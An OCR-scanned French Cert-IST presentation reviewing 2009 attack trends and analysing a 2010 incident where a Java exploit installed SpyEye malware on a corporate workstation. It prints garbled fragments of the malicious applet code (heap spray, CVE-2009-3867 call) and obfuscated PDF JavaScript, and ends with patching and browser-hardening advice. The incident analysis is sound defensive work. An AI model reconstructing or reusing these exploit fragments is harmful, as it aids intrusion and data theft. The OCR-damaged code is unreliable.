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Bilan Cert-IST 2009 des failles et attaques

e 70 % des situations a risques sont dues a des attaques visant le postes de travail

e Elles utilisent des vulnérabilités dans les logiciels clients (Acrobat Reader, etc...)

Les attaques de 2009 : 70%yvisent le poste de trava il

O Poste de travail
W Serveur

Détail des attaques 2009 contre le poste de travail

D Adobe
m Office
(=113
DActiveX
| Window s

Djava

are
Computer Emergency Response Team

Industrie Services & Tertiaire

Cert-IST 2010 page 2




@'ST Exemple d’'un cas réel d’incident

e Tiré d’'un incident traité durant I'été 2010
« Typique de ce type d'incident
« Démontre la fragilité du poste de travail

e | e poste visé est un poste en entreprise
« Protégé par l'infrastructure d’entreprise (Firewall)
« Equipé d’un anti-virus maintenu a jour
« Mis a jour régulierement au niveau OS
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@| utilisateur comprend que son poste vient d’étre infecté
| — et le débranche du réseau P>
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@tm Analyse de l'incident

e L’analyse MAC-time du disque montre :

« Le lancement d’un fichier JAR
— C:\Documents and Settings\xxx\Local Settings\Temp\
jar_cache4855171583194739268.tmp”
» L’arrivée de plusieurs exécutables dans « Local Settings\Temp\ »
- Temp\tmp77373732727.tmp
- Temp\0.06719136123156277.exe
- Temp\7397540.exe
- Temp\tmp77373732727.tmp
- Temp\3590006.exe
» Le lancement du malware « SpyEye »
- C:\WINNT\Prefetch\ CLEANSWEEP.EXE-07D4E65B.pf
— C:i\cleansweep.exe\
- C:\cleansweep.exe\config.bin
» Arrivée de plusieurs Fichiers PDF
- \Temp\Acr75DC.tmp, etc...

« Etc..
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@I” Analyse de l'incident

e Autres éléments constatés

« Vol de données FileZilla
- Application Data\FileZilla\sitemanager.xm

« Vol de données MSN
— Application Data\Microsoft\Windows Live Contacts\{1cf26f-xxxx-520})\DBStore\contacts.edb

« Envoi de SPAM via le compte Outlook de I'utilisateur

e A propos de SpyEye
« Apparu en janvier 2010. Se présente comme le challenger de Zeus
» S'installe dans C:\cleansweep.exe\ (répertoire caché)
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Le fichier JAR malveillant

e Fichier « AppleT.class »

« Dét

ection par VirusTotal : 1/42 (01/08/2010) puis 6/43 (13/09/2010)

| AppleT.das
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String slekSS53f0 = “eoJkrunieihgiouhoie)rhynengivegkinelougheoirigtoey) myoes ke anioeug” ;
String s = varsion dstect():

String sl = "3453452342345345345345 51 Lkt e dgasdasderqergdz” ;

String o2 = "534562395423423K35" + sl + "gasdasdas advdsvE sfdserg”;

new StringBuilder().append(”s3456235423423k357) . append L) . append| gasdasdas advd”).append(sz).append(”svi sfdserg”);
sl - "9gGEEIETeouledgosyledyoogle”  replace ("google”, "0

String slekifo = "=ojkrgoieihgiouhoiedrhgneunivegkined ougheol ) gtosyIrmgneskronioeng” ;

"end”)

if (2 =
return;

try {
spray|getParaneter("lomec”.replace(”lone”, "s"1], slj:

i1 Systew. getSeundbank (new UKL (z)); —e=r——  (C\/E-2009-3867 (nov 2009)

Thread. slesp(10L] 7

i
catch (Exception exception)

Systen. out.printiniexception) ;

public static String version detect()

1)) subscring(0, 3):

Object objl = ((String] (obj = System.getProperty|”jave.version").replacehll(”
Object obj = [({Stringjobj).substring(4, {(Stringiobi).length(});

ob31 = new Double ({String)ohil):

obj = mew Double((3tring)obj):

String s = "fintiintlinteint:int/int/int".replace("ine”, ") ; -&String s=
repeat('/', 303);

if [(((Doublejebil).doubleValus() == L.SD] & ({(Dewble)ab3).doubievaiue) <= u.ciu))

fileds";
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3 Le fichier PDF malveillant

e Fichier « Acr75DC.pdf »
» Détection par VirusTotal : 8/42 (01/08/2010) puis 17/43 (13/09/2010)

» Structure complexe (5 PDF concaténés)

[/size 1oh
p>"n
startxref™
571"

REOF%PDF -

Vout1ines

fendob i
2 0 obj
<<

/05 8 6 R

lendob
5 0 obj

stream

TP R

1.3

P07 8411 675 ;2051 055 ;8410595
2

20k

lropenaction 3 0 &
|rPages u o &
/Type /catalog
>>

/Type /action
/s 7Javascript
>

<<
[/Length 19711
>>

lvar thebestav_avast_pz = app.viewerVariation;

stav_avast_ps = )_avast_pz[1] )_avast_pz[2]+"p’ )_avast_pz[1]

luar thebe:

avast_pz[1]+" _avast_pz[2]+"11F _avast_pz[1]+"pl )_avast_pz[2]

lvar avastpdf

ast_pz[1] iiiv;

thebestau_avast_ps = thebestay_avast_ps[avastpdf](“1");

luar thebestav_avast_p@ = this;
jvar thebestau_avast_pénn = null

luar thebestau_avast_pu = thebestav_avast_pe[thebestav_avast_ps[6]];
luar thebestav_avast_pe = thebestav_avast_pe[thebestav_avast_ps[1]];
far thebestav avast p1 = 9X6Cx
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@l” Conclusion de l'incident

e Infection d’un poste pas a jour via JAVA-JRE

« Vecteur tres efficace car Java est :
— Multi-navigateurs

- Souvent requis (exemples : VPN-SSL, applications d'entreprises, etc.),
- Indispensable (selon les versions) pour des applications "Métiers"
— Difficile & maintenir (sur certains parc)

e L’infection déclenche une cascade d’action malveillantes
« Vol de mots de passe et de comptes
» Spam
« Escroquerie vis-a-vis de I'utilisateur (faux anti-virus)
» Espionnage des sessions utilisateurs (vol de données bancaires)
e L’origine de l'infection n'a pas été identifiée
» Bandeau publicitaire malveillant ?
» Redirigeant 'internaute vers un Exploit-kit ? (exemple : Phoenix)
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C@L‘EM Solutions ?

e Maintenir le poste de travail a jour !

« Nota : Pour vérifier la version du JRE sur un poste Windows :
- Panneau de configuration / Java : A propos de

e Utiliser des greffons pour renforcer la sécurité
» Par exemple : Adblock Plus & NoScript

e Virtualiser le navigateur web

« Sur le poste de travail
-« Secure Browser » (Dell Kace) : Firefox dans un bac a sable.
- Etc...

+ Dans une DMZ de I'entreprise :

-« Virtual Browser » (CommonlIT.com) : Un client léger pour accéder a des applications

s'exécutant dans un environnement virtualisé [ndustrie Services Tertinma
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(Crtst Q&R?

Fin de la présentation
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